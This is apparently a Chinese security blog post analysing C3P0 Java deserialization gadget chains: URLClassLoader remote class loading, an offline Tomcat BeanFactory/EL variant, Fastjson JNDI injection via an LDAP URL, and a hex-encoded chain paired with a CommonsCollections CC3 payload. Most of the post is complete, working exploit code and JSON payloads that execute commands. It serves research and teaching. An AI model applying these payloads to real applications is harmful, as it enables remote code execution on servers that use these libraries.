C3P0反序列化

C3P0是JDBC的一个连接池组件

JDBC:

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。

使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池:

我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。

类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。

C3P0:

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。

依赖

jdk8u66

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>

URLClassLoader利用链

这条链我们要先从PoolBackedDataSourceBase类的writeObject方法开始看。

java在序列化的时候,回去调用对应类的writeObject方法。

writeObject

可以发现它会尝试将connectionPoolDataSource属性序列化,如果发生错误便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作。跟进indirectForm方法

indirectForm

这里调用了connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将该对象返回,也就是说,我们的writeObject其实序列化的是ReferenceSerialized对象。

然后我们再来看反序列化的时候,来到PoolBackedDataSourceBase类的readObject方法:

readObject

这里readObject方法首先判断了版本,然后进行一个if判断,如果序列化流里的对象实现了IndirectlySerialized接口,那么就调用它的getObject方法。刚刚我们说到writeObject其实序列化的是ReferenceSerialized对象。而这个类其实是实现了IndirectlySerialized接口的。

所以跟进到ReferenceIndirector类的getObject方法:

getObject

这里调用了ReferenceableUtils.referenceToObject这个静态方法,跟进。

referenceToObject

这里的Reference ref对象就是最开始writeObject方法通过getReference方法写入的我们的恶意对象。

那么就可以构造通过URLClassLoader实例化远程类,造成任意代码执行了。不过这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()方法这里都能触发漏洞。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class Main {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
setValue(poolBackedDataSourceBase,"connectionPoolDataSource",new evil());

String payload = serialize(poolBackedDataSourceBase);
unserialize(payload);
}
public static class evil implements ConnectionPoolDataSource, Referenceable {
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

@Override
public Reference getReference() {
return new Reference("calc","calc","http://127.0.0.1:8000/");
}
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}


//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

恶意类:

1
2
3
4
5
6
7
import java.io.IOException;

public class calc {
public calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

编译好后,在编译目录起个python http.server

calc1

不出网利用

添加依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.27</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.27</version>
</dependency>

链子分析

和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了

image

可以看到如果getFactoryClassLocation方法返回为null的时候就直接加载本地字节码。

如果不使用URLClassLoader加载类的话,就需要加载并实例化本地实现了javax.naming.spi.ObjectFactory 接口的类,并调用getObjectInstance方法。在 JNDI 注入高版本限制绕过中,也不能加载远程字节码,这里可以利用它的绕过方法进行C3P0链的不出网利用。

org.apache.naming.factory.BeanFactory 满足条件并且存在被利用的可能。BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class Main {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
setValue(poolBackedDataSourceBase,"connectionPoolDataSource",new evil());

String payload = serialize(poolBackedDataSourceBase);
unserialize(payload);
}
public static class evil implements ConnectionPoolDataSource, Referenceable {
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

@Override
public Reference getReference() {
String cmd = "calc";
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
return ref;
//return new Reference("calc","calc","http://127.0.0.1:8000/");
}
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}


//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

基于Fastjson进行JNDI注入

添加依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>

利用链分析

触发点在com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()

dereference

而只有inner方法调用了dereference方法。

inner

我们知道在fastjson反序列化的时候,会调用那个类的所有的setter方法,而 setLogWritersetLoginTimeout 两个 setter 方法调用了 inner 方法:

setLogWriter

setLoginTimeout

这就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用:

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
String ser_json = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"\n" +
" },\n" +
" \"b\": {\n" +
" \"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\n" +
" \"jndiName\": \"ldap://127.0.0.1:1389/calc\",\n" +
" \"loginTimeout\": 0\n" +
" }\n" +
"}";
//反序列化ser_json字符串
JSON.parseObject(ser_json);
}
}

payload:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.JndiRefForwardingDataSource"
},
"b": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:1389/calc",
"loginTimeout": 0
}
}

HEX链

链子开头是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners()这个setter方法

setUpPropertyListeners

跟进C3P0ImplUtils.parseUserOverridesAsString静态方法,

parseUserOverridesAsString

这里用substring方法对传入的userOverridesAsString进行字符截取,然后将其视为十六进制数据转化成byte,然后调用SerializableUtils.fromByteArray方法对其进行处理。

截取掉payload最前面的HexAsciiSerializedMap:

1
private final static String HASM_HEADER = "HexAsciiSerializedMap";

还有最后的一个字符,我们可以给payload随便多加一个字符即可。

fromByteArray

deserializefromByteArray

这个方法会对bytes进行反序列化处理。

在fastjson,jackson等环镜下,userOverridesAsString属性可控,导致可以从其setter方法setuserOverridesAsString开始到最后deserializeFromByteArray对其调用readObject进行反序列化,造成反序列化漏洞。

这里随便拿一条链子打一下,比如CC3

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Object obj = cc3_poc();
//obj转hex
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
byte[] bytein = byteArrayOutputStream.toByteArray();
String Hex = bytesToHexString(bytein,bytein.length);

String ser_json = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"b\": {\n" +
" \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\": \"HexAsciiSerializedMap:"+Hex+";\"\n" +
" }\n" +
"}";
//反序列化ser_json字符串
JSON.parseObject(ser_json);
}

//将bytes转成16进制字符串
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}

public static Object cc3_poc() throws Exception {
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//Map类的构建与修饰
HashMap<Object,Object> inmap = new HashMap<>();
inmap.put("value","aaa");
Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);

//遍历map,触发链子
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
Object obj = constructorhandler.newInstance(Target.class,outmap);
return obj;
}
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl()); //这里自己改呗
return templates;
}

//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

payload:

1
2
3
4
5
6
7
8
9
10
{
"a": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:<payload>;"
}
}

calc2

参考文章:

https://tttang.com/archive/1411/

https://cloud.tencent.com/developer/article/2318124


C3P0反序列化
http://example.com/2025/03/13/C3P0反序列化/
作者
Infernity
发布于
2025年3月13日
许可协议